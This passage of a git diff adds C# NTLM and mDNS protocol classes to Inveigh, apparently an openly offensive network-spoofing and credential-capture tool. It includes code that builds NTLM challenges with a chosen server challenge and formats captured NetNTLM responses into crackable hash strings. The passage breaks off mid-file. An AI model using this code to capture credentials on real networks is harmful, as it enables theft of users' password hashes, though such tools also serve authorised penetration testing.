+ ReadBytes(data, 12);
+ string qclass = Convert.ToString(BitConverter.ToUInt16(this.QClass, 0), 2).PadLeft(16, '0');
+
+ if (qclass.StartsWith("1"))
+ {
+ this.QuestionType = "QU";
+ }
+ else
+ {
+ this.QuestionType = "QM";
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSResource.cs
new file mode 100644
index 0000000..c24079a
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/MDNS/MDNSResource.cs
@@ -0,0 +1,39 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.DNS;
+
+namespace Quiddity.MDNS
+{
+ class MDNSResource : DNSResource
+ {
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMChallenge.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMChallenge.cs
new file mode 100644
index 0000000..d0ec6f9
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMChallenge.cs
@@ -0,0 +1,275 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Text;
+using System.IO;
+using Quiddity.Support;
+using Quiddity.SPNEGO;
+
+namespace Quiddity.NTLM
+{
+ class NTLMChallenge
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/801a4681-8809-4be9-ab0d-61dcfe762786
+ public byte[] Signature { get; set; }
+ public uint MessageType { get; set; }
+ public ushort TargetNameLen { get; set; }
+ public ushort TargetNameMaxLen { get; set; }
+ public uint TargetNameBufferOffset { get; set; }
+ public byte[] NegotiateFlags { get; set; }
+ public byte[] ServerChallenge { get; set; }
+ public UInt64 Reserved { get; set; }
+ public ushort TargetInfoLen { get; set; }
+ public ushort TargetInfoMaxLen { get; set; }
+ public uint TargetInfoBufferOffset { get; set; }
+ public byte[] Version { get; set; }
+ public byte[] Payload { get; set; }
+
+ public NTLMChallenge()
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 2;
+ this.TargetNameLen = 0;
+ this.TargetNameMaxLen = 0;
+ this.TargetNameBufferOffset = 56;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.ServerChallenge = new byte[16];
+ this.Reserved = 0;
+ this.TargetInfoLen = 0;
+ this.TargetInfoMaxLen = 0;
+ this.TargetInfoBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[0];
+ }
+
+ public NTLMChallenge(byte[] data)
+ {
+ string signature = Encoding.UTF8.GetString(data);
+
+ if (signature.StartsWith("NTLMSSP"))
+ {
+ ReadBytes(data, 0);
+ }
+ else
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ this.ReadBytes(token.ResponseToken, 0);
+ }
+
+ }
+
+ public NTLMChallenge(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public NTLMChallenge(byte[] data, bool decode)
+ {
+
+ if (decode)
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ ReadBytes(token.ResponseToken, 0);
+ }
+ else
+ {
+ ReadBytes(data, 0);
+ }
+
+ }
+
+ public NTLMChallenge(string challenge, string netBIOSDomainName, string netBIOSComputerName, string dnsDomainName, string dnsComputerName, string dnsTreeName)
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 2;
+ this.TargetNameLen = 0;
+ this.TargetNameMaxLen = 0;
+ this.TargetNameBufferOffset = 56;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.ServerChallenge = new byte[16];
+ this.Reserved = 0;
+ this.TargetInfoLen = 0;
+ this.TargetInfoMaxLen = 0;
+ this.TargetInfoBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[0];
+ this.ServerChallenge = this.Challenge(challenge);
+ byte[] timestamp = BitConverter.GetBytes(DateTime.Now.ToFileTime());
+ NTLMAVPair ntlmAVPair = new NTLMAVPair();
+ this.Payload = ntlmAVPair.GetBytes(netBIOSDomainName, netBIOSComputerName, dnsDomainName, dnsComputerName, dnsTreeName, timestamp);
+ }
+
+ public NTLMChallenge(string challenge, string netBIOSDomainName, string netBIOSComputerName, string dnsDomainName, string dnsComputerName, string dnsTreeName, byte[] timestamp)
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 2;
+ this.TargetNameLen = 0;
+ this.TargetNameMaxLen = 0;
+ this.TargetNameBufferOffset = 56;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.ServerChallenge = new byte[16];
+ this.Reserved = 0;
+ this.TargetInfoLen = 0;
+ this.TargetInfoMaxLen = 0;
+ this.TargetInfoBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[0];
+ this.ServerChallenge = this.Challenge(challenge);
+ NTLMAVPair ntlmAVPair = new NTLMAVPair();
+ this.Payload = ntlmAVPair.GetBytes(netBIOSDomainName, netBIOSComputerName, dnsDomainName, dnsComputerName, dnsTreeName, timestamp);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Signature = packetReader.ReadBytes(8);
+ this.MessageType = packetReader.ReadUInt32();
+ this.TargetNameLen = packetReader.ReadUInt16();
+ this.TargetNameMaxLen = packetReader.ReadUInt16();
+ this.TargetNameBufferOffset = packetReader.ReadUInt32();
+ this.NegotiateFlags = packetReader.ReadBytes(4);
+ this.ServerChallenge = packetReader.ReadBytes(8);
+ this.Reserved = packetReader.ReadUInt64();
+ this.TargetInfoLen = packetReader.ReadUInt16();
+ this.TargetInfoMaxLen = packetReader.ReadUInt16();
+ this.TargetInfoBufferOffset = packetReader.ReadUInt32();
+ this.Version = packetReader.ReadBytes(8);
+ this.Payload = packetReader.ReadBytes(16);
+ }
+
+ }
+
+ public byte[] GetBytes(string targetName)
+ {
+ byte[] targetNameData = Encoding.Unicode.GetBytes(targetName);
+ this.TargetNameLen = (ushort)targetNameData.Length;
+ this.TargetNameMaxLen = this.TargetNameLen;
+ this.TargetInfoLen = (ushort)this.Payload.Length;
+ this.TargetInfoMaxLen = this.TargetInfoLen;
+ this.TargetInfoBufferOffset = (ushort)(targetNameData.Length + 56);
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.Signature);
+ packetWriter.Write(this.MessageType);
+ packetWriter.Write(this.TargetNameLen);
+ packetWriter.Write(this.TargetNameMaxLen);
+ packetWriter.Write(this.TargetNameBufferOffset);
+ packetWriter.Write(this.NegotiateFlags);
+ packetWriter.Write(this.ServerChallenge);
+ packetWriter.Write(this.Reserved);
+ packetWriter.Write(this.TargetInfoLen);
+ packetWriter.Write(this.TargetInfoMaxLen);
+ packetWriter.Write(this.TargetInfoBufferOffset);
+ packetWriter.Write(this.Version);
+ packetWriter.Write(targetNameData);
+ packetWriter.Write(this.Payload);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] Encode(byte[] data)
+ {
+ SPNEGONegTokenResp spnegoNegTokenResp = new SPNEGONegTokenResp();
+ spnegoNegTokenResp.NegState = 1;
+ spnegoNegTokenResp.SupportedMech = new byte[10] { 0x2b, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0a };
+ byte[] segment1 = ASN1.Encode(0x04, data);
+ segment1 = ASN1.Encode(0xa2, segment1);
+ byte[] segment2 = ASN1.Encode(0x06, spnegoNegTokenResp.SupportedMech);
+ segment2 = ASN1.Encode(0xa1, segment2);
+ byte[] segment3 = ASN1.Encode(0x0a, new byte[1] { spnegoNegTokenResp.NegState });
+ segment3 = ASN1.Encode(0xa0, segment3);
+ byte[] asn1Data = Utilities.BlockCopy(segment3, segment2, segment1);
+ asn1Data = ASN1.Encode(0x30, asn1Data);
+ asn1Data = ASN1.Encode(0xa1, asn1Data);
+ return asn1Data;
+ }
+
+ private SPNEGONegTokenResp Decode(byte[] data)
+ {
+
+ SPNEGONegTokenResp spnegoNegTokenResp = new SPNEGONegTokenResp
+ {
+ NegState = ASN1.GetTagBytes(1, data)[0],
+ SupportedMech = ASN1.GetTagBytes(6, data),
+ ResponseToken = ASN1.GetTagBytes(4, data)
+ };
+
+ return spnegoNegTokenResp;
+ }
+
+ public byte[] Challenge(string challenge)
+ {
+ byte[] challengeData = new byte[8];
+ string challengeNew = "";
+
+ if (String.IsNullOrEmpty(challenge))
+ {
+ string challengeCharacters = "ABCDEFGHIJKLMNOPQRSTUVWXYZ";
+ char[] challengeCharactersArray = new char[8];
+ Random random = new Random();
+
+ for (int i = 0; i < challengeCharactersArray.Length; i++)
+ {
+ challengeCharactersArray[i] = challengeCharacters[random.Next(challengeCharacters.Length)];
+ }
+
+ string finalString = new String(challengeCharactersArray);
+ challengeData = Encoding.UTF8.GetBytes(finalString);
+ challengeNew = (BitConverter.ToString(challengeData)).Replace("-", "");
+ }
+ else
+ {
+ challengeNew = challenge;
+ string challengeMod = challengeNew.Insert(2, "-").Insert(5, "-").Insert(8, "-").Insert(11, "-").Insert(14, "-").Insert(17, "-").Insert(20, "-");
+ int i = 0;
+
+ foreach (string character in challengeMod.Split('-'))
+ {
+ challengeData[i] = Convert.ToByte(Convert.ToInt16(character, 16));
+ i++;
+ }
+
+ }
+
+ return challengeData;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMHelper.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMHelper.cs
new file mode 100644
index 0000000..7f36060
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMHelper.cs
@@ -0,0 +1,94 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.NTLM
+{
+ class NTLMHelper
+ {
+ public string Signature { get; set; }
+ public uint MessageType { get; set; }
+
+ public NTLMHelper()
+ {
+
+ }
+ public NTLMHelper(byte[]data)
+ {
+ string signature = Encoding.UTF8.GetString(data);
+
+ if (signature.StartsWith("NTLMSSP"))
+ {
+ ReadBytes(data, 0);
+ }
+ else
+ {
+ SPNEGONegTokenInit token = this.Decode(data);
+ this.ReadBytes(token.MechToken, 0);
+ }
+ }
+
+ public NTLMHelper(byte[] data, int offset)
+ {
+ ReadBytes(data, offset);
+ }
+
+ public void ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Signature = Encoding.UTF8.GetString(packetReader.ReadBytes(8));
+ this.MessageType = packetReader.ReadUInt16();
+ }
+
+ }
+
+ private SPNEGONegTokenInit Decode(byte[] data)
+ {
+ SPNEGONegTokenInit spnegoNegTokenInit = new SPNEGONegTokenInit
+ {
+ MechTypes = ASN1.GetTagBytes(6, data),
+ MechToken = ASN1.GetTagBytes(4, data)
+ };
+
+ return spnegoNegTokenInit;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMNegotiate.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMNegotiate.cs
new file mode 100644
index 0000000..f5a9353
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMNegotiate.cs
@@ -0,0 +1,120 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+using System;
+using System.IO;
+
+namespace Quiddity.NTLM
+{
+ class NTLMNegotiate
+ {
+ public byte[] Signature { get; set; }
+ public uint MessageType { get; set; }
+ public byte[] NegotiateFlags { get; set; }
+ public ushort DomainNameLen { get; set; }
+ public ushort DomainNameMaxLen { get; set; }
+ public uint DomainNameBufferOffset { get; set; }
+ public ushort WorkstationLen { get; set; }
+ public ushort WorkstationMaxLen { get; set; }
+ public uint WorkstationBufferOffset { get; set; }
+ public byte[] Version { get; set; }
+ public byte[] Payload { get; set; }
+
+ public NTLMNegotiate()
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 1;
+ this.NegotiateFlags = new byte[4] { 0x97, 0x82, 0x08, 0xe2 };
+ this.DomainNameLen = 0;
+ this.DomainNameMaxLen = 0;
+ this.DomainNameBufferOffset = 0;
+ this.WorkstationLen = 0;
+ this.WorkstationMaxLen = 0;
+ this.WorkstationBufferOffset = 0;
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.Payload = new byte[8];
+ }
+
+ public NTLMNegotiate(byte[] data, bool decode)
+ {
+
+ if (decode)
+ {
+ SPNEGONegTokenInit token = this.Decode(data);
+ this.ReadBytes(token.MechToken, 0);
+ }
+ else
+ {
+ ReadBytes(data, 0);
+ }
+
+ }
+
+ public NTLMNegotiate ReadBytes(byte[] data, int offset)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = offset;
+ this.Signature = packetReader.ReadBytes(8);
+ this.MessageType = packetReader.ReadUInt16();
+ this.DomainNameLen = packetReader.ReadUInt16();
+ this.DomainNameMaxLen = packetReader.ReadUInt16();
+ this.DomainNameBufferOffset = packetReader.ReadUInt16();
+ this.DomainNameLen = packetReader.ReadUInt16();
+ this.DomainNameMaxLen = packetReader.ReadUInt16();
+ this.DomainNameBufferOffset = packetReader.ReadUInt16();
+ this.NegotiateFlags = packetReader.ReadBytes(4);
+ this.Version = packetReader.ReadBytes(8);
+ this.Payload = packetReader.ReadBytes(16);
+ return this;
+ }
+
+ }
+
+ private SPNEGONegTokenInit Decode(byte[] data)
+ {
+ SPNEGONegTokenInit spnegoNegTokenInit = new SPNEGONegTokenInit
+ {
+ MechTypes = ASN1.GetTagBytes(6, data),
+ MechToken = ASN1.GetTagBytes(4, data)
+ };
+
+ return spnegoNegTokenInit;
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMResponse.cs
new file mode 100644
index 0000000..0790917
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMResponse.cs
@@ -0,0 +1,221 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+
+using Quiddity.SPNEGO;
+using Quiddity.Support;
+using System;
+using System.IO;
+using System.Text;
+
+namespace Quiddity.NTLM
+{
+ class NTLMResponse
+ {
+ //https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-nlmp/033d32cc-88f9-4483-9bf2-b273055038ce
+ public byte[] Signature { get; set; }
+ public uint MessageType { get; set; }
+ public ushort LmChallengeResponseLen { get; set; }
+ public ushort LmChallengeResponseMaxLen { get; set; }
+ public uint LmChallengeResponseBufferOffset { get; set; }
+ public ushort NtChallengeResponseLen { get; set; }
+ public ushort NtChallengeResponseMaxLen { get; set; }
+ public uint NtChallengeResponseBufferOffset { get; set; }
+ public ushort DomainNameLen { get; set; }
+ public ushort DomainNameMaxLen { get; set; }
+ public uint DomainNameBufferOffset { get; set; }
+ public ushort UserNameLen { get; set; }
+ public ushort UserNameMaxLen { get; set; }
+ public uint UserNameBufferOffset { get; set; }
+ public ushort WorkstationLen { get; set; }
+ public ushort WorkstationMaxLen { get; set; }
+ public uint WorkstationBufferOffset { get; set; }
+ public ushort EncryptedRandomSessionKeyLen { get; set; }
+ public ushort EncryptedRandomSessionKeyMaxLen { get; set; }
+ public uint EncryptedRandomSessionKeyBufferOffset { get; set; }
+ public byte[] NegotiateFlags { get; set; }
+ public byte[] Version { get; set; }
+ public byte[] MIC { get; set; }
+ public byte[] Payload { get; set; }
+
+ // custom properties
+ public byte[] DomainName { get; set; }
+ public byte[] UserName { get; set; }
+ public byte[] Workstation { get; set; }
+ public byte[] EncryptedRandomSessionKey { get; set; }
+ public byte[] NtChallengeResponse { get; set; }
+ public byte[] LmChallengeResponse { get; set; }
+ public byte[] Timestamp { get; set; }
+
+ public NTLMResponse()
+ {
+ this.Signature = new byte[8] { 0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00 }; // NTLMSSP
+ this.MessageType = 3;
+ this.LmChallengeResponseLen = 0;
+ this.LmChallengeResponseMaxLen = 0;
+ this.LmChallengeResponseBufferOffset = 0;
+ this.NtChallengeResponseLen = 0;
+ this.NtChallengeResponseMaxLen = 0;
+ this.NtChallengeResponseBufferOffset = 0;
+ this.DomainNameLen = 0;
+ this.DomainNameMaxLen = 0;
+ this.DomainNameBufferOffset = 0;
+ this.UserNameLen = 0;
+ this.UserNameMaxLen = 0;
+ this.UserNameBufferOffset = 0;
+ this.WorkstationLen = 0;
+ this.WorkstationMaxLen = 0;
+ this.WorkstationBufferOffset = 0;
+ this.EncryptedRandomSessionKeyLen = 0;
+ this.EncryptedRandomSessionKeyMaxLen = 0;
+ this.EncryptedRandomSessionKeyBufferOffset = 0;
+ this.NegotiateFlags = new byte[4] { 0x15, 0x82, 0x8a, 0xe2 };
+ this.Version = new byte[8] { 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f };
+ this.MIC = new byte[16];
+ this.Payload = new byte[0];
+ }
+
+ public NTLMResponse(byte[] data)
+ {
+ string signature = Encoding.UTF8.GetString(data);
+
+ if (signature.StartsWith("NTLMSSP"))
+ {
+ ReadBytes(data);
+ }
+ else
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ this.ReadBytes(token.ResponseToken);
+ }
+
+ ParseValues();
+ }
+
+ public NTLMResponse(byte[] data, bool decode)
+ {
+
+ if(decode)
+ {
+ SPNEGONegTokenResp token = this.Decode(data);
+ this.ReadBytes(token.ResponseToken);
+ }
+ else
+ {
+ ReadBytes(data);
+ }
+
+ ParseValues();
+ }
+
+ public void ReadBytes(byte[] data)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ this.Signature = packetReader.ReadBytes(8);
+ this.MessageType = packetReader.ReadUInt32();
+ this.LmChallengeResponseLen = packetReader.ReadUInt16();
+ this.LmChallengeResponseMaxLen = packetReader.ReadUInt16();
+ this.LmChallengeResponseBufferOffset = packetReader.ReadUInt32();
+ this.NtChallengeResponseLen = packetReader.ReadUInt16();
+ this.NtChallengeResponseMaxLen = packetReader.ReadUInt16();
+ this.NtChallengeResponseBufferOffset = packetReader.ReadUInt32();
+ this.DomainNameLen = packetReader.ReadUInt16();
+ this.DomainNameMaxLen = packetReader.ReadUInt16();
+ this.DomainNameBufferOffset = packetReader.ReadUInt32();
+ this.UserNameLen = packetReader.ReadUInt16();
+ this.UserNameMaxLen = packetReader.ReadUInt16();
+ this.UserNameBufferOffset = packetReader.ReadUInt32();
+ this.WorkstationLen = packetReader.ReadUInt16();
+ this.WorkstationMaxLen = packetReader.ReadUInt16();
+ this.WorkstationBufferOffset = packetReader.ReadUInt32();
+ this.EncryptedRandomSessionKeyLen = packetReader.ReadUInt16();
+ this.EncryptedRandomSessionKeyMaxLen = packetReader.ReadUInt16();
+ this.EncryptedRandomSessionKeyBufferOffset = packetReader.ReadUInt32();
+ this.NegotiateFlags = packetReader.ReadBytes(4);
+ this.Version = packetReader.ReadBytes(8);
+ this.MIC = packetReader.ReadBytes(16);
+ this.Payload = packetReader.ReadBytes(data.Length - 88);
+ }
+
+ }
+
+ public string GetFormattedHash(string challenge, string user, string domain)
+ {
+ string hash = "";
+
+ if (this.NtChallengeResponse.Length > 24)
+ {
+ hash = user + "::" + domain + ":" + challenge + ":" + BitConverter.ToString(this.NtChallengeResponse).Replace("-", "").Insert(32, ":");
+ }
+ else if (this.NtChallengeResponse.Length == 24)
+ {
+ hash = user + "::" + domain + ":" + BitConverter.ToString(this.LmChallengeResponse).Replace("-", "") + ":" + BitConverter.ToString(this.NtChallengeResponse).Replace("-", "").Insert(32, ":") + ":" + challenge;
+ }
+
+ return hash;
+ }
+
+ private SPNEGONegTokenResp Decode(byte[] data)
+ {
+
+ SPNEGONegTokenResp spnegoNegTokenResp = new SPNEGONegTokenResp
+ {
+ NegState = ASN1.GetTagBytes(10, data)[0],
+ //SupportedMech = ASN1.GetTagBytes(6, data),
+ ResponseToken = ASN1.GetTagBytes(4, data),
